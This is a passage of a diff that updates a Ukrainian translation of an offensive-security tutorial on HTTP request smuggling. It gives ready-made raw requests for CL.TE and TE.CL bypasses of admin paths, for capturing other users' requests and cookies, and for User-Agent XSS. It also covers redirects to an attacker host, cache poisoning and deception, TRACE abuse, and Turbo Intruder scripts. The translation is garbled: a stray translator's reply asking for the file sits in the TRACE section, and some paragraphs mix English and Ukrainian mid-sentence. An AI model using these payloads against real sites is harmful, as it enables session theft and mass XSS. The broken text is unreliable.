+- Відтворіть з контрольованим reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Потім зв’яжіть до примітивів cache/header-leak/control-bypass і продемонструйте cross-user або authorization вплив.

 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
-{{#endref}}
+>{{#endref}}

 ### Client‑side desync constraints

-If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
+Якщо ви таргетуєте browser-powered/client-side desync, зловмисний запит має бути відправленим браузером cross-origin. Трюки з обфускацією заголовків не спрацюють. Зосередьтесь на примітивах, досяжних через navigation/fetch, а далі pivote до cache poisoning, header disclosure або front-end control bypass там, де downstream компоненти відображають або кешують відповіді.

-For background and end-to-end workflows:
+Для довідки та end-to-end робочих процесів:

 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}

-### Tooling to help decide
+### Інструменти, які допоможуть визначитися

- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
+- HTTP Hacker (Burp BApp Store): показує низькорівневу HTTP-поведінку та конкатенацію сокетів.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
 - Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
 - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

 > [!NOTE]
-> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
+> Вважайте ефекти, які залежать лише від reuse, неважливими, якщо ви не можете довести server-side desync та додати конкретний вплив (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control тощо).

 ## Abusing HTTP Request Smuggling

 ### Circumventing Front-End Security via HTTP Request Smuggling

-Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
+Іноді front-end проксі накладають заходи безпеки, ретельно перевіряючи вхідні запити. Проте ці заходи можуть бути обійдені за допомогою HTTP Request Smuggling, дозволяючи неавторизований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений зовні, коли front-end proxy активно блокує такі спроби. Тим не менш, цей проксі може не перевіряти вкладені запити всередині smuggled HTTP-запиту, залишаючи лазівку для обходу цих обмежень.

-Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
+Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використаний для обходу контролів безпеки front-end, конкретно таргетуючи шлях `/admin`, який зазвичай охороняється front-end proxy:

 **CL.TE Example**
 ```
@ -460,9 +458,9 @@ Content-Length: 10

 x=
 ```
-У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Front-end proxy обробляє початковий `POST` запит, але не перевіряє вбудований `GET /admin` запит, що дозволяє несанкціонований доступ до шляху `/admin`.
+У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. front-end proxy обробляє початковий `POST` запит, але не перевіряє вбудований `GET /admin` запит, що дозволяє неавторизований доступ до шляху `/admin`.

-**TE.CL Example**
+**TE.CL Приклад**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -478,13 +476,13 @@ a=x
 0

 ```
-Навпаки, в атаці TE.CL початковий запит `POST` використовує `Transfer-Encoding: chunked`, а наступний вбудований запит обробляється на підставі заголовка `Content-Length`. Подібно до атаки CL.TE, front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
+Навпаки, у атаці TE.CL початковий `POST` запит використовує `Transfer-Encoding: chunked`, а вкладений наступний запит обробляється на основі заголовка `Content-Length`. Подібно до атаки CL.TE, фронт-енд проксі ігнорує контрабандний `GET /admin` запит, ненавмисно надаючи доступ до захищеного шляху `/admin`.

-### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Виявлення переписування запитів фронт-енду <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Додатки часто використовують фронтальний сервер для модифікації вхідних запитів перед передачею їх на back-end сервер. Типова модифікація полягає у додаванні заголовків, наприклад `X-Forwarded-For: <IP of the client>`, щоб переадресувати IP клієнта на back-end. Розуміння цих змін може бути критично важливим, оскільки це може виявити способи **обходу захисту** або **виявлення прихованої інформації чи кінцевих точок**.
+Застосунки часто використовують **сервер фронт-енду** для зміни вхідних запитів перед передачею на back-end сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP of the client>`, щоб передати IP клієнта back-end'у. Розуміння цих змін може бути критично важливим, оскільки це може виявити способи **обійти захист** або **розкрити приховану інформацію чи endpoints**.

-Щоб дослідити, як proxy змінює запит, знайдіть параметр POST, який back-end відображає у відповіді. Потім сформуйте запит, використавши цей параметр останнім, наприклад:
+Щоб дослідити, як проксі змінює запит, знайдіть POST-параметр, який back-end відображає у відповіді. Потім складіть запит, використовуючи цей параметр останнім, схожий на наступний:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -501,17 +499,17 @@ Content-Length: 100

 search=
 ```
-У цій структурі наступні компоненти запиту додаються після `search=`, який є параметром, відображеним у відповіді. Це відображення покаже заголовки наступного запиту.
+У цій конструкції наступні складові запиту додаються після `search=`, який є параметром, відбитим у відповіді. Це відображення покаже заголовки наступного запиту.

-Важливо, щоб заголовок `Content-Length` вкладеного запиту відповідав фактичній довжині вмісту. Рекомендується починати з невеликого значення і поступово збільшувати його, оскільки занадто мале значення обрізатиме відображені дані, а занадто велике може спричинити помилку запиту.
+Важливо вирівняти заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з малого значення і поступово його збільшувати, оскільки занадто мале значення обріже відображені дані, а занадто велике може спричинити помилку запиту.

-Ця техніка також застосовна в контексті вразливості TE.CL, але запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра search.
+Цю техніку також можна застосувати у контексті TE.CL vulnerability, але запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра search.

-Цей метод служить насамперед для розуміння модифікацій запиту, які вносить front-end proxy, по суті виконуючи самостійну перевірку.
+Цей метод головним чином служить для розуміння модифікацій запиту, внесених front-end proxy, по суті виконуючи самостійне розслідування.

-### Захоплення запитів інших користувачів <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Перехоплення запитів інших користувачів <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Можна захопити запити наступного користувача, додавши певний запит як значення параметра під час POST-операції. Ось як це можна зробити:
+Можливо перехопити запити наступного користувача, додавши певний запит як значення параметра під час POST-операції. Ось як це можна зробити:

 Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:
 ```
@ -533,18 +531,18 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-У цьому сценарії **comment parameter** призначений для збереження вмісту секції коментарів допису на загальнодоступній сторінці. Отже, вміст наступного запиту з'явиться як коментар.
+У цьому сценарії параметр **comment parameter** призначений для зберігання вмісту секції коментарів допису на публічно доступній сторінці. Відповідно, вміст наступного запиту відобразиться як коментар.

-Однак ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, який використовується в smuggled request. Для URL-encoded form submissions цей роздільник — символ `&`. Це означає, що захоплений вміст із запиту жертви припиниться на першому `&`, який може бути навіть частиною query string.
+Однак ця техніка має обмеження. Зазвичай вона захоплює дані лише до роздільника параметра, який використовується в підмінованому запиті. Для URL-encoded form submissions цей роздільник — символ `&`. Тобто захоплений вміст із запиту жертви зупиниться на першому `&`, який навіть може бути частиною рядка запиту.

-Крім того, варто зазначити, що цей підхід також працює при наявності вразливості TE.CL. У таких випадках запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра search.
+Крім того, варто зазначити, що підхід також працює при вразливості TE.CL. У таких випадках запит має завершуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра search.

 ### Використання HTTP request smuggling для експлуатації Reflected XSS

-HTTP Request Smuggling можна використовувати для атак на веб-сторінки, вразливі до **Reflected XSS**, що дає суттєві переваги:
+HTTP Request Smuggling можна використовувати для експлуатації веб-сторінок, вразливих до **Reflected XSS**, що дає суттєві переваги:

 - Взаємодія з цільовими користувачами **не потрібна**.
- Дозволяє експлуатувати XSS у частинах запиту, які **зазвичай недоступні**, наприклад HTTP request headers.
+- Дозволяє використати XSS у частинах запиту, які **зазвичай недоступні**, наприклад HTTP request headers.

 У випадках, коли вебсайт вразливий до Reflected XSS через заголовок User-Agent, наступний payload демонструє, як експлуатувати цю вразливість:
 ```
@ -567,36 +565,36 @@ Content-Type: application/x-www-form-urlencoded

 A=
 ```
-Цей payload структуровано для експлуатації вразливості шляхом:
+This payload структуровано для експлуатації вразливості таким чином:

-1. Ініціювання `POST` запиту, здавалося б типовий, з заголовком `Transfer-Encoding: chunked`, що вказує на початок smuggling.
-2. Далі слідує `0`, що позначає кінець chunked message body.
-3. Потім вводиться smuggled `GET` запит, в якому заголовок `User-Agent` інжектовано скриптом `<script>alert(1)</script>`, що викликає XSS, коли сервер обробляє цей наступний запит.
+1. Ініціювання `POST` запиту, на вигляд звичайного, з заголовком `Transfer-Encoding: chunked`, що вказує на початок smuggling.
+2. Далі йде `0`, який позначає кінець chunked message body.
+3. Потім вводиться smuggled `GET` запит, в якому заголовок `User-Agent` ін’єктовано скриптом `<script>alert(1)</script>`, що запускає XSS, коли сервер обробляє цей наступний запит.

-Маніпулюючи `User-Agent` через smuggling, payload обходить звичні обмеження запитів, тим самим експлуатуючи Reflected XSS в нестандартний, але ефективний спосіб.
+Маніпулюючи `User-Agent` через smuggling, payload обходить звичайні обмеження запитів, таким чином експлуатуючи Reflected XSS нестандартним, але ефективним способом.

 #### HTTP/0.9

 > [!CAUTION]
-> У разі, якщо вміст користувача відображається у відповіді з **`Content-type`** наприклад **`text/plain`**, що перешкоджає виконанню XSS. Якщо сервер підтримує **HTTP/0.9**, це може дозволити обійти це!
+> Якщо вміст користувача відображається у відповіді з **`Content-type`**, наприклад **`text/plain`**, це перешкоджає виконанню XSS. Якщо сервер підтримує **HTTP/0.9, можливо обійти це**!

-Версія HTTP/0.9 передувала 1.0 і використовує лише **GET**-запити та **не** повертає **заголовки**, лише тіло.
+Версія HTTP/0.9 передувала 1.0 і використовувала лише **GET** методи та **не** повертала **headers**, лише тіло.

-В [**this writeup**](https://mizu.re/post/twisty-python) це було зловживано через request smuggling та **вразливу endpoint, яка відповідає введеними користувачем даними**, щоб smuggle запит з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підробну HTTP/1.1 response (with headers and body)**, тому відповідь міститиме виконуваний JS-код з `Content-Type` `text/html`.
+В [**this writeup**](https://mizu.re/post/twisty-python) це було зловживано через request smuggling і **вразливий endpoint, який відповідає введеними даними користувача**, щоб smuggle запит з HTTP/0.9. Параметр, що відобразився у відповіді, містив **фейкову HTTP/1.1 response (with headers and body)**, тому відповідь містила валідний виконуваний JS код з `Content-Type` = `text/html`.

-### Експлуатація On-site Redirects за допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Використання перенаправлень на сайті за допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Застосунки часто перенаправляють з одного URL на інший, використовуючи hostname з заголовка `Host` у redirect URL. Це поширено для веб-серверів, таких як Apache та IIS. Наприклад, запит папки без кінцевого слеша призводить до редиректу з додаванням слеша:
+Застосунки часто перенаправляють з одного URL на інший, використовуючи hostname із заголовка `Host` у redirect URL. Це часто трапляється на веб-серверах таких як Apache та IIS. Наприклад, запит папки без кінцевого слеша призводить до редиректу, який додає слеш:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Результати:
+В результаті:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Хоча на перший погляд нешкідлива, ця поведінка може бути використана за допомогою HTTP request smuggling для перенаправлення користувачів на зовнішній сайт. Наприклад:
+Хоча на перший погляд ця поведінка нешкідлива, її можна використати за допомогою HTTP request smuggling, щоб перенаправити користувачів на зовнішній сайт. Наприклад:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -610,7 +608,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Цей smuggled request може спричинити, що наступний оброблений запит користувача буде перенаправлений на attacker-controlled website:
+Цей smuggled request може спричинити перенаправлення наступного обробленого запиту користувача на attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@ -622,17 +620,17 @@ Host: vulnerable-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-У цьому сценарії запит користувача на файл JavaScript перехоплюється. Атакуючий може скомпрометувати користувача, відповівши шкідливим JavaScript.
+У цьому сценарії запит користувача на файл JavaScript перехоплюється. Зловмисник потенційно може скомпрометувати користувача, відповівши шкідливим JavaScript.

 ### Експлуатація Web Cache Poisoning через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning може виконуватися, якщо якийсь компонент **front-end infrastructure caches content**, зазвичай для підвищення продуктивності. Маніпулюючи відповіддю сервера, можна **poison the cache**.
+Web cache poisoning може виконуватися, якщо будь-який компонент **front-end infrastructure caches content**, зазвичай для підвищення продуктивності. Маніпулюючи відповіддю сервера, можливо **poison the cache**.

-Раніше ми показали, як відповіді сервера можна змінити, щоб повернути помилку 404 (див. [Basic Examples](#basic-examples)). Аналогічно, можна обдурити сервер, щоб він віддав вміст `/index.html` у відповідь на запит до `/static/include.js`. Внаслідок цього вміст `/static/include.js` замінюється в кеші на вміст `/index.html`, через що `/static/include.js` стає недоступним для користувачів, що може призвести до Denial of Service (DoS).
+Раніше ми розглядали, як відповіді сервера можна змінити, щоб повертати помилку 404 (див. [Basic Examples](#basic-examples)). Аналогічно, можливо обдурити сервер, щоб він повернув вміст `/index.html` у відповідь на запит до `/static/include.js`. Внаслідок цього вміст `/static/include.js` замінюється в cache на вміст `/index.html`, роблячи `/static/include.js` недоступним для користувачів і потенційно призводячи до Denial of Service (DoS).

-Ця техніка стає особливо потужною, якщо виявлено **Open Redirect vulnerability** або якщо існує **on-site redirect to an open redirect**. Такі вразливості можна використати, щоб замінити кешований вміст `/static/include.js` на скрипт під контролем атакуючого, фактично реалізувавши масштабну Cross-Site Scripting (XSS) атаку проти всіх клієнтів, які запитують оновлений `/static/include.js`.
+Ця техніка стає особливо потужною, якщо виявлено вразливість **Open Redirect** або існує **on-site redirect to an open redirect**. Такі вразливості можна використати, щоб замінити кешований вміст `/static/include.js` на скрипт під контролем атакуючого, фактично дозволяючи масштабну атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений `/static/include.js`.

-Нижче наведено ілюстрацію використання **cache poisoning combined with an on-site redirect to open redirect**. Метою є змінити кешований вміст `/static/include.js`, щоб він повертав JavaScript-код під контролем атакуючого:
+Нижче наведено ілюстрацію експлуатації **cache poisoning combined with an on-site redirect to open redirect**. Мета — змінити кешований вміст `/static/include.js`, щоб подавати JavaScript код під контролем атакуючого:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -650,20 +648,20 @@ Content-Length: 10

 x=1
 ```
-Зверніть увагу на вкладений запит, спрямований на `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи значення **Host header value** для визначення домену. Змінюючи **Host header**, атакуючий може перенаправити запит на свій домен (**on-site redirect to open redirect**).
+Зверніть увагу на вкладений запит, що спрямований до `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи значення **Host header value** для визначення домену. Змінюючи **Host header**, атакуючий може перенаправити запит на свій домен (**on-site redirect to open redirect**).

-Після успішного **socket poisoning**, слід ініціювати **GET request** до `/static/include.js`. Цей запит буде заражений попереднім **on-site redirect to open redirect** запитом і отримає вміст скрипта, контрольованого атакуючим.
+Після успішного **socket poisoning** потрібно ініціювати **GET request** до `/static/include.js`. Цей запит буде заражений попереднім запитом (**on-site redirect to open redirect**) і отримає вміст скрипта, контрольованого атакуючим.

-В подальшому будь-який запит до `/static/include.js` повертатиме кешований вміст скрипта атакуючого, фактично запускаючи масивну XSS-атаку.
+Надалі будь-який запит до `/static/include.js` буде видавати кешований вміст скрипта атакуючого, фактично запускаючи масштабну XSS-атаку.

-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Використання HTTP request smuggling для виконання web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

 > **Яка різниця між web cache poisoning та web cache deception?**
 >
-> - У випадку **web cache poisoning** атакуючий змушує застосунок зберегти деякий шкідливий контент у кеші, і цей контент служиться з кешу іншим користувачам застосунку.
-> - У випадку **web cache deception** атакуючий змушує застосунок зберегти в кеші деякий конфіденційний контент, що належить іншому користувачеві, а потім витягує цей контент з кешу.
+> - У випадку **web cache poisoning**, атакуючий змушує додаток зберегти певний шкідливий вміст у кеші, і цей вміст віддається з кешу іншим користувачам додатку.
+> - У випадку **web cache deception**, атакуючий змушує додаток зберегти конфіденційний вміст, що належить іншому користувачу, у кеші, а потім атакуючий витягає цей вміст із кешу.

-Атакуючий формує smuggled request, який отримує чутливий контент, специфічний для користувача. Розгляньмо наступний приклад:
+Атакуючий створює smuggled request, який витягає конфіденційний вміст, специфічний для користувача. Розгляньмо наступний приклад:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -674,17 +672,17 @@ x=1
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Якщо цей smuggled request отруює запис кешу, призначений для статичного контенту (наприклад, `/someimage.png`), конфіденційні дані жертви з `/private/messages` можуть опинитися в кеші під записом статичного контенту. Внаслідок цього нападник потенційно зможе отримати ці кешовані чутливі дані.
+Якщо цей smuggled request отруїть запис кешу, призначений для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути закешовані під записом кешу для статичного контенту. Відповідно, атакуючий потенційно зможе отримати ці кешовані чутливі дані.

-### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**In this post**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо на сервері увімкнено метод TRACE, його можна зловживати через HTTP Request Smuggling. Це тому, що цей метод відображає будь-який заголовок, відправлений на сервер, у тілі відповіді. Наприклад:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) припускається, що якщо на сервері увімкнено метод TRACE, можливо зловживати ним за допомогою HTTP Request Smuggling. Це тому, що цей метод відображає будь-який заголовок, надісланий серверу, як частину тіла відповіді. Наприклад:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Надішліть, будь ласка, вміст файлу src/pentesting-web/http-request-smuggling/README.md для перекладу. Я перекладу його українською, зберігши оригінальні markdown/HTML-теги, шляхи, посилання й код.
+Будь ласка, надішліть вміст файлу README.md (або потрібний фрагмент), який потрібно перекласти. Я збережею markdown, код, посилання, шляхи та зазначені теги незмінними й перекладу лише релевантний англійський текст. Якщо файл великий — надішліть частинами.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -695,17 +693,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Приклад того, як зловживати цією поведінкою, — **smuggle first a HEAD request**. На цей запит буде відповідено лише **headers** of a GET request (**`Content-Type`** серед них). І smuggle **immediately after the HEAD a TRACE request**, який буде **reflecting the sent dat**a.\
-Оскільки у відповіді на HEAD міститиметься заголовок `Content-Length`, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** у відповіді.\
-Ця відповідь буде відправлена до наступного запиту по з'єднанню, тому це може бути **used in a cached JS file for example to inject arbitrary JS code**.
+An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **заголовками** of a GET request (**`Content-Type`** among them). And smuggle **відразу після HEAD запит TRACE**, which will be **віддзеркалювати надіслані дан**і.\
+As the HEAD response will be containing a `Content-Length` header, the **відповідь на TRACE буде трактуватися як тіло відповіді HEAD, отже відображаючи довільні дані** in the response.\
+This response will be sent to the next request over the connection, so this could be **використано, наприклад, у кешованому JS-файлі для ін'єкції довільного JS-коду**.

-### Зловживання TRACE через HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Рекомендується також прочитати [**this post**](https://portswigger.net/research/trace-desync-attack) як інший спосіб зловживання методом TRACE. Як зазначалося, smuggling a HEAD request and a TRACE request дозволяє **control some reflected data** у відповіді на HEAD-запит. Довжина тіла HEAD-запиту фактично вказується в заголовку Content-Length і формується відповіддю на TRACE request.
+Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **контролювати певні віддзеркалені дані** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the `Content-Length` header and is formed by the response to the TRACE request.

-Отже, нова ідея така: знаючи цей Content-Length і дані, отримані в TRACE response, можна зробити так, щоб TRACE response містила валідну HTTP-відповідь після останнього байта, визначеного Content-Length, що дозволить нападнику повністю контролювати request для наступної відповіді (що може бути використано для cache poisoning).
+Therefore, the new idea would be that, knowing this `Content-Length` and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the `Content-Length`, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).

-Приклад:
+Example:
 ```
 GET / HTTP/1.1
 Host: example.com
@ -724,7 +722,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Згенерує ці відповіді (зверніть увагу, як відповідь HEAD має Content-Length, через що відповідь TRACE стає частиною тіла HEAD, і коли Content-Length у HEAD закінчується, коректна HTTP-відповідь підсовується):
+Згенерує ці відповіді (зауважте, як відповідь HEAD має Content-Length, через що відповідь TRACE стає частиною тіла HEAD, і коли Content-Length у HEAD закінчується, валідна HTTP відповідь буде контрабандно вставлена):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -745,7 +743,7 @@ Content-Length: 50

 <script>alert(“arbitrary response”)</script>
 ```
-### Експлуатація HTTP Request Smuggling за допомогою HTTP Response Desynchronisation
+### Використання HTTP Request Smuggling разом із HTTP Response Desynchronisation

 Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати? Спробуйте ці інші методи експлуатації:

@ -770,7 +768,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}

-## Turbo intruder скрипти
+## Turbo intruder scripts

 ### CL.TE

@ -857,7 +855,7 @@ time.sleep(0.05)
 def handleResponse(req, interesting):
 table.add(req)
 ```
-## Інструменти
+## Tools

 - HTTP Hacker (Burp BApp Store) – візуалізувати конкатенацію/фреймінг та низькорівневу поведінку HTTP
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
@ -866,9 +864,9 @@ table.add(req)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент — граматично-орієнтований HTTP Fuzzer, корисний для знаходження дивних невідповідностей у request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент — граматично-орієнтований HTTP Fuzzer, корисний для виявлення дивних розбіжностей у request smuggling.

-## Посилання
+## References

 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
 - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -879,7 +877,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Увага: подвійні хибнопозитиви — як відрізнити HTTP pipelining від request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Остерігайтеся хибнопозитивів: як відрізнити HTTP pipelining від request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)